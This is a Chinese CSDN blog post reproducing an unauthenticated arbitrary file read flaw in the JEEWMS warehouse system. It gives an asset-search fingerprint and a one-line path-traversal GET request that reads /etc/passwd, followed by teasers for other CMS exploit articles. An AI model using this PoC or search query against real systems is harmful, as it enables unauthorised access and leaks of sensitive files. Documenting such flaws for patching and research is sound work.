JEEWMS 任意文件读取漏洞

已于 2024-03-29 15:23:03 修改
阅读量56 收藏
点赞数
分类专栏： 漏洞复现 文章标签： web安全
于 2024-03-29 15:22:53 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43567873/article/details/137146757
版权

产品简介

JEEWMS基于JAVA的仓库管理系统（支持3PL（三方物流）和厂内物流），包含PDA端和WEB端，功能涵盖WMS，OMS，BMS（计费管理系统），TMS，成功应用于多家国内知名大客户，客户群体：冷链，干仓，快消品，汽车主机厂和配件厂等行业。

漏洞概述

JEEWMS存在任意文件读取漏洞，未授权的攻击者可以通过该漏洞读取任意文件，造成敏感信息泄露。

测绘语句

body=”plug-in/lhgDialog/lhgdialog.min.js?skin=metro” && body=”仓库管理系统”

漏洞POC

GET /systemController/showOrDownByurl.do?down=&dbPath=../../../../../../etc/passwd

漏洞复现

Ts

了解本专栏 订阅专栏 解锁全文 超级会员免费看
今天晚上早睡觉
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
订阅专栏
jQuery-1.7.2任意文件读取漏洞验证利用脚本
04-27
jQuery是一个快速、简洁的JavaScript框架，丰富的Javascript代码库，在其1.7.2版本的sys_dia_data_down模块存在任意文件读取漏洞，攻击者可通过前台读取任意文件。
玩了下JeeCms命令执行漏洞
NilLazy的博客
11-26 6755
第一个站点 首先看了下信息，是管理员权限 (好像这种命令执行漏洞都是administrator权限吧。。。 然后就是看下开没开3389了。。 Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:80 0.0.0
JEEWMS存在任意文件读取漏洞
最新发布
zkaqlaoniao的博客
06-20 226
JEEWMS基于JAVA的仓库管理系统（支持3PL（三方物流）和厂内物流），包含PDA端和WEB端，功能涵盖WMS，OMS，BMS（计费管理系统），TMS，成功应用于多家国内知名大客户，客户群体：冷链，干仓，快消品，汽车主机厂和配件厂等行业。申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。帮助你在面试中脱颖而出。
JEECMS后台任意文件编辑漏洞及拿shell
收集盒 Book box
07-11 5188
JEECMS是基于java技术开发，继承其强大、稳定、安全、高效、跨平台等多方面的优点 · 采用SpringMVC3+Spring3+Hibernate3+Freemarker主流技术架构 安全性做得非常变态，当网站安装完成后就不再允许执行任何目录下的jsp文件了（web.xml配置了过滤器禁止了很多种动态脚本）。     2.x后台： login/Jeecms.do 3.x
【原创】JEECMS v6~v7任意文件上传漏洞（1）
weixin_34160277的博客
01-19 1828
文章作者：rebeyond 受影响版本：v6~v7 漏洞说明： JEECMS是国内Java版开源网站内容管理系统（java cms、jsp cms）的简称。该系统基于java技术开发，继承其强大、稳定、安全、高效、跨平台等多方面的优点；采用SpringMVC3+Spring3+Hibernate3+Freemarker主流技术架构。广泛应用于政府（部委和省级政府部门、市、县、乡及委办局）、教...
jeecms明文密码传输漏洞
qq_36397267的博客
06-01 2142
关于jeecms明文密码传输漏洞修改：思路：由于jeecms密码加密采用md532位加密算法，是不可逆过程，数据库存放的是加密后的密码，登陆认证是将前台传入的密码加密后和数据库进行对比，所以往后台提交密码为加密后的密码的话，势必数据库密码也要加密一次，然后做对比就可以了。前台修改：//密码框密码进行加密function passwordMd5(){    var x=document.getEle...
jeecms v9.3 has a stroed xss vulnerability
libieme的博客
10-31 3458
jeecms v9.3 has a stroed xss vulnerability An issue was discovered in jeecms v9.3 There is a stored XSS attacks vulnerability which allows remote attackers to inject arbitrary web script or HTML. poc ...
泛微OA xmlrpcServlet接口任意文件读取漏洞（CNVD-2022-43245）
12-25
泛微OA xmlrpcServlet接口任意文件读取漏洞（CNVD-2022-43245），可以指定文件路径进行读取，并提供检测方案
Adminer≤4.6.2任意文件读取漏洞1
08-03
【Adminer≤4.6.2任意文件读取漏洞详解】 Adminer是一款功能强大的Web数据库管理工具，它支持多种主流数据库系统，如MSSQL、MySQL、Oracle、SQLite和PostgreSQL，与phpMyAdmin类似。由于其轻量级的特性，只需一个...
nc57-任意文件读取漏洞补丁
06-08
【标题】"nc57-任意文件读取漏洞补丁" 涉及的是一个针对NC57软件的安全问题，该补丁旨在修复一个可能导致任意文件读取的漏洞。在网络安全领域，这样的漏洞通常是非常严重的问题，因为它允许攻击者未经授权访问系统上...
bagecms V3.1.3 后台任意文件读取漏洞1
08-03
漏洞简介：BageCMS是一套基于PHP和MySQL的跨平台的内容管理系统（CMS）。管理功能过滤不严导致任意文件读取漏洞。##漏洞分析在文件 www\prot
某版本JEECMS后台存在通用struts2命令执行漏洞。
"黑色键盘's Bolg"
12-25 1591
某版本JEECMS后台存在通用struts2命令执行漏洞。 可通过谷歌搜索关键字inurl:login/jeecms.do,可获得多个存在st2的漏洞网站 该版本为jeecmsV2.x版本，漏洞系struts2框架自带的一个安全漏洞，由于jeecms在2010年开始停止了对jeecmsV2.X版本的维护，并建议广大用户统一升级到jeecms最新版本，估计还有很多用户至今未升级，在此，我
Jeecms弱口令和shiro反序列化RCE渗透测试记录
kelenwait的博客
07-03 9185
简介 Jeecms 是一个开源企业客户关系管理快速开发基础平台，Java企业应用开源框架，Java EE（J2EE）快速开发框架，使用经典技术组合（Spring、Spring MVC、Apache Shiro、hibernate4、EasyUI、Jqgrid、Bootstrap UI），核心模块如：组织机构、角色用户、权限授权、数据权限、内容管理、工作流等功能。 在企业官网、新闻站点、OA资源管理等多个领域都有应用。 由于使用的Apache Shiro 是低版本的，存在shiro反序列漏洞。 漏洞影响 弱口
jeecms无法修改子栏目顺序，引出的源码漏洞
Soongp的博客
02-21 1842
老哥最近正在做一个cms的小项目(www.uni-orange.com)，验收前期，逐一解决系统bug，直到一个bug的出现，害得老哥老老实实地坐了一天！！ 简单介绍一下使用的cms框架：jeecms，国内开源的cms框架，其商业版jeecms并不开源，作为互联网产品，至今已经迭代到v8.1版本，这个数字说明：即使是一个产品，它仍然是存在问题，需要不断完善优化的。 相信多数使用过jeecms的
jeecms升级shiro漏洞报错处理
l_degege的专栏
06-11 1085
一、问题描述 jeecmsv9中的shiro是1.4.0，存在漏洞，现在升级到1.6.0 1替换lib文件夹下的13个shiro包 2将cipherKey改成动态生成 https://blog.csdn.net/jlq_diligence/article/details/109790614 添加类、修改shiro-context.xml 3重启部署后报错 二、操作 应该缺少类org.owasp.encoder.Encode。 将encoder-1.2.2.jar放到lib下项目启动成功 https://
【漏洞学习——任意文件上传】四川外国语大学某分站任意文件上传导致getshell
Fly_鹏程万里
02-22 655
漏洞细节 fck编辑器存在地址：http://**.**.**.**:8080/include/fckeditor/editor/filemanager/upload/test.html 上传文件时可在文件名后加空格进行绕过上传 getshell 修复建议：增加白名单检测绕过 参见：https://bugs.shuimugan.com/bug/view?bug_no=15406...
【漏洞复现】JEEWMS 任意文件读取漏洞
qq_67810151的博客
03-06 371
JEEWMS存在任意文件读取漏洞，未授权的攻击者可以通过该漏洞读取任意文件，造成敏感信息泄露。
Jeeves：一款功能强大的SQL注入漏洞扫描工具
yz_weixiao的博客
04-28 533
Jeeves是一款功能强大的SQL注入漏洞扫描工具，在该工具的帮助下，广大研究人员可以轻松通过网络侦查等方式来寻找目标应用程序中潜在的基于时间的SQL盲注漏洞。
shopxo download 任意文件读取漏洞
09-02
shopxo是一种流行的开源电商系统，以其简单易用和灵活性而备受欢迎。然而，它也存在一些安全漏洞，包括任意文件读取漏洞。这个漏洞可能会使攻击者能够读取服务器上的任意文件，包括敏感的配置文件和用户数据。 要利用shopxo download任意文件读取漏洞，攻击者通常会构造特定的URL请求，注入恶意代码来访问目标文件。攻击者可能可以通过执行一系列步骤来实现此目标，例如： 1. 识别目标系统上潜在的敏感文件，如数据库配置文件、用户身份验证文件等。 2. 构造特定的URL来请求这些文件，使用目标系统的下载功能。 3. 在URL中注入特殊字符或路径遍历符号，以绕过访问限制和读取目标文件。 一旦攻击者成功读取到目标文件，他们可能会进一步利用这些信息来实施其他攻击，例如窃取用户信息、篡改网站内容或者进行其他恶意活动。 为了防范shopxo download任意文件读取漏洞，网站管理员可以采取以下措施： 1. 及时更新shopxo系统以修复任何已知漏洞，并安装最新的补丁程序。 2. 限制对敏感文件的访问权限，确保只有授权的用户能够访问它们。 3. 验证和过滤用户输入，以防止任意文件读取漏洞的利用。 4. 实施Web应用程序防火墙（WAF），以监视和阻止恶意请求。 5. 定期进行安全审计和漏洞扫描，以及对服务器和应用程序配置进行安全性评估。 通过采取这些预防措施，可以最大限度地减少shopxo download任意文件读取漏洞的风险，并确保网站和用户数据的安全性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值